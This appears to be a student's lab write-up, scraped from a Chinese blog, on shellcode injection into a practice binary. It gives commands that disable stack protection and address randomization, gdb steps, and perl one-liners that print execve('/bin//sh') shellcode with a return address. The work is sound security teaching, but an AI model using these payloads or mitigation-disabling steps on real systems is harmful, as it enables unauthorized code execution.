zoukankan      html  css  js  c++  java
  • 20155305《网络对抗》PC平台逆向破解(二)

    20155305《网络对抗》PC平台逆向破解(二)

    shellcode注入

    1、shellcode

    shellcode是一段代码,溢出后,执行这段代码能开启系统shell。

    2、构造方法

    (1)nop+shellcode+retaddr(适用于缓冲区大的情况)

    (2)retaddr+nop+shellcode(适用于缓冲区小的情况)
    3、准备工作(安装execstack并修改设置)

    • 安装execstackapt-get install execstack
    • 设置堆栈可执行execstack -s pwn20155305
    • 查询文件的堆栈是否可执行execstack -q pwn20155305
    • 关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
    • 查询地址随机化状态(2表示开启,0表示关闭),若是开启状态,则关闭地址随机化more /proc/sys/kernel/randomize_va_space

    4、运行并gdb调试

    • 输入shellcode内容perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode运行pwn20155305,输入命令(cat input_shellcode;cat) | ./pwn20155305

    • 查询进程输入命令ps -ef | grep pwn20155305

    • 启动gdb调试这个进程

    • 通过设置断点disassemble foo,来查看注入buf的内存地址并且 break *0x080484ae,在另外一个终端中按下回车,这就是前面为什么不能以x0a来结束 input_shellcode的原因。gdb中输入c,之后输入info r esp

    • (gdb) x/16x 0xffffd43c 看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd460

    • 知道shellcode地址,所以修改为perl -e 'print "A" x 32;print "x60xd4xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
      查看shellcode转换进制内容xxd input_shellcode,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155305

  • 相关阅读:
    数据库与数据仓库的区别
    MySQL数据库与表的最基本命令大盘点
    SQL Server 2008创建数据库
    [HttpClient]简单使用GET请求
    [HttpClient]HttpClient简介
    [jQuery编程挑战]003 克隆一个页面元素及其相关事件
    [设计模式]观察者模式
    [jQuery编程挑战]002:实现一个转盘大抽奖
    [设计模式]备忘录模式
    [javascript]String添加trim和reverse方法
  • 原文地址:https://www.cnblogs.com/20155305ql/p/8563661.html
Copyright © 2011-2022 走看看